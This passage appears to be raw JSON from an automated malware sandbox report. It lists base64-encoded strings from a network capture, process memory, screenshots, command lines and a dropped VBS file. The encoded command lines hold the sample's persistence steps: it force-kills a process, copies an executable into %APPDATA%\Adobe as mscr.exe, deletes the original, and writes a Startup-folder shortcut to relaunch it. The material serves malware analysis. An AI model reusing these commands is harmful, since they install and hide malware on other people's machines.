Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"O2h0dHA6Ly9jcmwuY29tb2RvY2EuY29tL0NPTU9ET1JTQUNlcnRpZmljYXRpb25BdXRob3JpdHkuY3JsMHI=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"W0ooOVtaKk1new==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"QWRkVHJ1c3QgQUIxJjAk","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"QWRkVHJ1c3QgRXh0ZXJuYWwgQ0EgUm9vdDA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"QWRkVHJ1c3QgRXh0ZXJuYWwgVFRQIE5ldHdvcmsxIjA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"Q09NT0RPIENBIExpbWl0ZWQxKzAp","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"Q09NT0RPIENBIExpbWl0ZWQxODA2","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"RG9tYWluIENvbnRyb2wgVmFsaWRhdGVkMSEw","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"RWh0dHA6Ly9jcmwuY29tb2RvY2E0LmNvbS9DT01PRE9SU0FEb21haW5WYWxpZGF0aW9uU2VjdXJlU2VydmVyQ0EyLmNybDA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":0,"total":64},{"value":"RWh0dHA6Ly9jcnQuY29tb2RvY2E0LmNvbS9DT01PRE9SU0FEb21haW5WYWxpZGF0aW9uU2VjdXJlU2VydmVyQ0EyLmNydDAl","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":0,"total":65},{"value":"R3JlYXRlciBNYW5jaGVzdGVyMQ==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"SEVBRCAvZWRnZWRsL3JlbGVhc2UyL0hjcTFZcXNpaDJBLzU3LjAuMjk4Ny4xMzNfNTYuMC4yOTI0Ljg3X2Nocm9tZV91cGRhdGVyLmV4ZSBIVFRQLzEuMUNvbm5lY3Rpb246IEtlZXAtQWxpdmVBY2NlcHQ6ICovKkFjY2VwdC1FbmNvZGluZzogaWRlbnRpdHlVc2VyLUFnZW50OiBNaWNyb3NvZnQgQklUUy83LjVYLU9sZC1VSUQ6IGNudD0wWC1MYXN0LUhSOiAweDgwMDQyMTk0WC1MYXN0LUhUVFAtU3RhdHVzLUNvZGU6IDQwNFgtUmV0cnktQ291bnQ6IDBYLUhUVFAtQXR0ZW1wdHM6IDNYLUdvb2dsZVVwZGF0ZS1JbnRlcmFjdGl2aXR5OiBiZ1gtR29vZ2xlVXBkYXRlLVVwZGF0ZXI6IE9tYWhhLTEuMy4zMi43SG9zdDogcmVkaXJlY3Rvci5ndnQxLmNvbQ==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"SEVBRCAvZWRnZWRsL3JlbGVhc2UyL0hjcTFZcXNpaDJBLzU3LjAuMjk4Ny4xMzNfNTYuMC4yOTI0Ljg3X2Nocm9tZV91cGRhdGVyLmV4ZT9jbXNfcmVkaXJlY3Q9eWVzJmV4cGlyZT0xNTA4MTkyMDE2JmlwPTE5My43MC40Ny4yMDAmaXBiaXRzPTAmbW09MjgmbW49c24tNXVoNW8tZjVmeiZtcz1udmgmbXQ9MTUwODE3NzQwOSZtdj11JnBsPTI0JnNoYXJkYnlwYXNzPXllcyZzcGFyYW1zPWV4cGlyZSxpcCxpcGJpdHMsbW0sbW4sbXMsbXYscGwsc2hhcmRieXBhc3Mmc2lnbmF0dXJlPTQwRUM3MDg1OTIzQzlCMDg5Q0JGODk5QTRCRTU0N0MzNzA5NzYxOUQuNDM4NjNFMzNFQjk2RTkzRUJGQTNDMDBCMkIyMjNFNDM1RkVERkExNyZrZXk9Y21zMSBIVFRQLzEuMUNvbm5lY3Rpb246IEtlZXAtQWxpdmVBY2NlcHQ6ICovKkFjY2VwdC1FbmNvZGluZzogaWRlbnRpdHlVc2VyLUFnZW50OiBNaWNyb3NvZnQgQklUUy83LjVYLU9sZC1VSUQ6IGNudD0wWC1MYXN0LUhSOiAweDgwMDQyMTk0WC1MYXN0LUhUVFAtU3RhdHVzLUNvZGU6IDQwNFgtUmV0cnktQ291bnQ6IDBYLUhUVFAtQXR0ZW1wdHM6IDNYLUdvb2dsZVVwZGF0ZS1JbnRlcmFjdGl2aXR5OiBiZ1gtR29vZ2xlVXBkYXRlLVVwZGF0ZXI6IE9tYWhhLTEuMy4zMi43SG9zdDogcjYtLS1zbi01dWg1by1mNWZ6Lmd2dDEuY29t","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"SEVBRCAvZWRnZWRsL3JlbGVhc2UyL0hjcTFZcXNpaDJBLzU3LjAuMjk4Ny4xMzNfNTYuMC4yOTI0Ljg3X2Nocm9tZV91cGRhdGVyLmV4ZT9jbXNfcmVkaXJlY3Q9eWVzJmV4cGlyZT0xNTA4MTkyMDE2JmlwPTE5My43MC40Ny4yMDAmaXBiaXRzPTAmbW09MjgmbW49c24tNXVoNW8tZjVmeiZtcz1udmgmbXQ9MTUwODE3NzQwOSZtdj11JnBsPTI0JnNoYXJkYnlwYXNzPXllcyZzcGFyYW1zPWV4cGlyZSxpcCxpcGJpdHMsbW0sbW4sbXMsbXYscGwsc2hhcmRieXBhc3Mmc2lnbmF0dXJlPTQwRUM3MDg1OTIzQzlCMDg5Q0JGODk5QTRCRTU0N0MzNzA5NzYxOUQuNDM4NjNFMzNFQjk2RTkzRUJGQTNDMDBCMkIyMjNFNDM1RkVERkExNyZrZXk9Y21zMSZybT1zbi01dWg1by1mNWZ6N2QmZmV4cD0yMzcwMjUxMiZyZXFfaWQ9ODI2OThhY2ZhZTdhNDlmZCBIVFRQLzEuMUNvbm5lY3Rpb246IEtlZXAtQWxpdmVBY2NlcHQ6ICovKkFjY2VwdC1FbmNvZGluZzogaWRlbnRpdHlVc2VyLUFnZW50OiBNaWNyb3NvZnQgQklUUy83LjVYLU9sZC1VSUQ6IGNudD0wWC1MYXN0LUhSOiAweDgwMDQyMTk0WC1MYXN0LUhUVFAtU3RhdHVzLUNvZGU6IDQwNFgtUmV0cnktQ291bnQ6IDBYLUhUVFAtQXR0ZW1wdHM6IDNYLUdvb2dsZVVwZGF0ZS1JbnRlcmFjdGl2aXR5OiBiZ1gtR29vZ2xlVXBkYXRlLVVwZGF0ZXI6IE9tYWhhLTEuMy4zMi43SG9zdDogZGwuZ29vZ2xlLmNvbQ==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"SFRUUC8xLjEgMzAyIEZvdW5kRGF0ZTogTW9uLCAxNiBPY3QgMjAxNyAxODoxMzozNiBHTVRQcmFnbWE6IG5vLWNhY2hlRXhwaXJlczogRnJpLCAwMSBKYW4gMTk5MCAwMDowMDowMCBHTVRDYWNoZS1Db250cm9sOiBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlTG9jYXRpb246IGh0dHA6Ly9yNi0tLXNuLTV1aDVvLWY1ZnouZ3Z0MS5jb20vZWRnZWRsL3JlbGVhc2UyL0hjcTFZcXNpaDJBLzU3LjAuMjk4Ny4xMzNfNTYuMC4yOTI0Ljg3X2Nocm9tZV91cGRhdGVyLmV4ZT9jbXNfcmVkaXJlY3Q9eWVzJmV4cGlyZT0xNTA4MTkyMDE2JmlwPTE5My43MC40Ny4yMDAmaXBiaXRzPTAmbW09MjgmbW49c24tNXVoNW8tZjVmeiZtcz1udmgmbXQ9MTUwODE3NzQwOSZtdj11JnBsPTI0JnNoYXJkYnlwYXNzPXllcyZzcGFyYW1zPWV4cGlyZSxpcCxpcGJpdHMsbW0sbW4sbXMsbXYscGwsc2hhcmRieXBhc3Mmc2lnbmF0dXJlPTQwRUM3MDg1OTIzQzlCMDg5Q0JGODk5QTRCRTU0N0MzNzA5NzYxOUQuNDM4NjNFMzNFQjk2RTkzRUJGQTNDMDBCMkIyMjNFNDM1RkVERkExNyZrZXk9Y21zMUNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04U2VydmVyOiBDbGllbnRNYXBTZXJ2ZXJDb250ZW50LUxlbmd0aDogNjQyWC1YU1MtUHJvdGVjdGlvbjogMTsgbW9kZT1ibG9ja1gtRnJhbWUtT3B0aW9uczogU0FNRU9SSUdJTg==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"SFRUUC8xLjEgMzAyIEZvdW5kTGFzdC1Nb2RpZmllZDogV2VkLCAwMiBNYXkgMjAwNyAxMDoyNjoxMCBHTVREYXRlOiBNb24sIDE2IE9jdCAyMDE3IDE4OjEzOjM4IEdNVEV4cGlyZXM6IE1vbiwgMTYgT2N0IDIwMTcgMTg6MTM6MzggR01UQ2FjaGUtQ29udHJvbDogcHJpdmF0ZSwgbWF4LWFnZT05MDBMb2NhdGlvbjogaHR0cDovL2RsLmdvb2dsZS5jb20vZWRnZWRsL3JlbGVhc2UyL0hjcTFZcXNpaDJBLzU3LjAuMjk4Ny4xMzNfNTYuMC4yOTI0Ljg3X2Nocm9tZV91cGRhdGVyLmV4ZT9jbXNfcmVkaXJlY3Q9eWVzJmV4cGlyZT0xNTA4MTkyMDE2JmlwPTE5My43MC40Ny4yMDAmaXBiaXRzPTAmbW09MjgmbW49c24tNXVoNW8tZjVmeiZtcz1udmgmbXQ9MTUwODE3NzQwOSZtdj11JnBsPTI0JnNoYXJkYnlwYXNzPXllcyZzcGFyYW1zPWV4cGlyZSxpcCxpcGJpdHMsbW0sbW4sbXMsbXYscGwsc2hhcmRieXBhc3Mmc2lnbmF0dXJlPTQwRUM3MDg1OTIzQzlCMDg5Q0JGODk5QTRCRTU0N0MzNzA5NzYxOUQuNDM4NjNFMzNFQjk2RTkzRUJGQTNDMDBCMkIyMjNFNDM1RkVERkExNyZrZXk9Y21zMSZybT1zbi01dWg1by1mNWZ6N2QmZmV4cD0yMzcwMjUxMiZyZXFfaWQ9ODI2OThhY2ZhZTdhNDlmZENvbnRlbnQtTGVuZ3RoOiAwQ29ubmVjdGlvbjogY2xvc2VYLUNvbnRlbnQtVHlwZS1PcHRpb25zOiBub3NuaWZmQ29udGVudC1UeXBlOiB0ZXh0L2h0bWxTZXJ2ZXI6IGd2cyAxLjA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"SFRUUC8xLjEgNDA0IE5vdCBGb3VuZENvbnRlbnQtTGVuZ3RoOiAxNDQ5Q29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLThTZXJ2ZXI6IGRvd25sb2Fkc1gtQ29udGVudC1UeXBlLU9wdGlvbnM6IG5vc25pZmZYLUZyYW1lLU9wdGlvbnM6IFNBTUVPUklHSU5YLVhzcy1Qcm90ZWN0aW9uOiAxOyBtb2RlPWJsb2NrRGF0ZTogTW9uLCAxNiBPY3QgMjAxNyAxODoxMzozOSBHTVQ=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cDovL29jc3AuY29tb2RvY2E0LmNvbTA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cDovL29jc3AuY29tb2RvY2E0LmNvbTBE","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cDovL29jc3AudXNlcnRydXN0LmNvbTA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cHM6Ly9zZWN1cmUuY29tb2RvLmNvbS9DUFMw","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":0,"total":64},{"value":"cGFzdGViaW4uY29t","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":0,"total":64},{"value":"cGFzdGViaW4uY29tMA==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"UGJ9Q2ZEejQv","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"UG9zaXRpdmVTU0wgTXVsdGktRG9tYWluMSQwIg==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"UFNQVUJXUy1QQw==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"c3NsNTA5MDg0LmNsb3VkZmxhcmVzc2wuY29t","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"c3NsNTA5MDg0LmNsb3VkZmxhcmVzc2wuY29tMA==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"dXFeJV1pNSB+","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null}]},{"name":"mscr.exe:3724","strings":[{"value":"JXdpbmRpciVcdHJhY2luZw==","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YFw/P1xWb2x1bWV7ODE3N2Y0ZTQtYjUzZi0xMWU0LWE5YzItODA2ZTZmNmU2OTYzfQ==","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YFw/P1xWb2x1bWV7ODE3N2Y0ZTUtYjUzZi0xMWU0LWE5YzItODA2ZTZmNmU2OTYzfQ==","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXV0b0RldGVjdA==","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29uc29sZVRyYWNpbmdNYXNr","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlQ29uc29sZVRyYWNpbmc=","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlRmlsZVRyYWNpbmc=","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RmlsZURpcmVjdG9yeQ==","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RmlsZVRyYWNpbmdNYXNr","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW50cmFuZXROYW1l","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TGFuZ3VhZ2VMaXN0","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4RmlsZVNpemU=","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJveHlCeXBhc3M=","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2VydmljZXNBY3RpdmU=","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VU5DQXNJbnRyYW5ldA==","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null}]},{"name":"screen_13.png","strings":[{"value":"JydXU2NyX3B0","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"Nl9fXzBfX0A/X18=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"P19fXz9sX19b","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"P19fX19fPz9fX3EwXz9fX18=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"P19fX0w/X19fX18=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"P19KX19fX19fX19fXw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"XFVzZXJzXFBTUFVCV1MxQXBwRGF0YVxMMGNhbFxUZW1wXF9ha3VwbDQzMTY3Mw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"XzA/X19fX19xX18/X19fX19fXw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"X1wwX19fSnd8bmxkX29tX3NsY25tSF8=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"X18sX19fX19fXzBMX19fX19fX18=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"X18wX19fX19fZV8wTF8w","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"X19fX19fX19fX0AwX19fXw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"X19fX19fX19fX19f","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlT2JKZWN0","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"UF9fX19fX29fdj9KX19fP19fYw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"V19uZDB3c1Njcl9wdEgwXw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"d19uZG9tc2NuXw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"d2x3bHdsbmxkMDB3","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null}]},{"name":"cmd.exe","strings":[{"value":"L2sgQGVjaG8uJmRlbCAiJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFwzTVJZSyoubG5rIiZleGl0Jg==","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"$9c","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJm1rZGlyICIlQVBQREFUQSVcQWRvYmVcM01SWUtcIFwiJmVjaG8uPj4iJUFQUERBVEElXEFkb2JlXDNNUllLXHVwZGF0ZSA6KSImZWNoby4+PiIlQVBQREFUQSVcQWRvYmVcM01SWUtcIFx1cGRhdGUgOikiJnRhc2traWxsIC9mIC9pbSBtc2NyLmV4ZSZjb3B5ICJDOlw0ZjBjZjRjZGUzNGJjYTAwNDU2NzA0NzA5MjBlNmE2YjViOGFmY2EzNmExZTkzMjBmZWZjNWFiMTYxNDgyODNlLmV4ZSIgIiVBUFBEQVRBJVxBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiZ0aW1lb3V0IC90IDEgL25vYnJlYWs+bnVsJmRlbCAiQzpcNGYwY2Y0Y2RlMzRiY2EwMDQ1NjcwNDcwOTIwZTZhNmI1YjhhZmNhMzZhMWU5MzIwZmVmYzVhYjE2MTQ4MjgzZS5leGUiJnN0YXJ0ICIiICIlQVBQREFUQSVcQWRvYmVcM01SWUtcIFxtc2NyLmV4ZSImZXhpdCY=","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null}]},{"name":"cmd.exe:3640","strings":[{"value":"MSBmaWxlKHMpIGNvcGllZC4=","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null}]},{"name":"screen_7.png","strings":[{"value":"XyxfX19fX19fX18=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_7.png","compromised":null,"detection_total":null,"total":null},{"value":"d2x3bHdsd2x3fG5sZF9vbV9Kc2xjbm1IX18=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_7.png","compromised":null,"detection_total":null,"total":null}]},{"name":"screen_0.png","strings":[{"value":"X3I/bT9fP18/X0o/Xz9fX19xXz9fXyxtX18/P19tdW4/P19fP192X19fXyxfLF8=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_0.png","compromised":null,"detection_total":null,"total":null}]},{"name":"cmd.exe:3636","strings":[{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFwxRFlIZCoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFwzTVJZSyoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFw4UkxTQioubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFw5M01KTioubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxBQVNCZCoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxBSkhkcSoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxCZEFMUyoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxkcUFZSCoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxKTjkzQSoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxLOFJSWSoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxMU0JkUioubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxNUk45MyoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxuQmRBQSoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxOZHFBSioubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxxQUpOOSoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxSTFlLOCoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxSWUs4TSoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxTSzhSTCoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxZOTNNUioubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxZSGRxRCoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null}]},{"name":"taskkill.exe:3672","strings":[{"value":"RVJST1I6IFRoZSByZW1vdGUgcHJvY2VkdXJlIGNhbGwgZmFpbGVkLg==","type":"Unicode","source":"Runtime Data","process":"taskkill.exe","filename":null,"compromised":null,"detection_total":null,"total":null}]},{"name":"startup7284813.vbs","strings":[{"value":"bG5rLkFyZ3VtZW50cyA9ICIvayBzdGFydCAiIiIiICIiJUFQUERBVEElXEFkb2JlXDNNUllLXCBcbXNjci5leGUiIiZleGl0JiIiIg==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7284813.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTk5NjUxNC5sbmsiKQ==","type":"Ansi","source":"Dropped 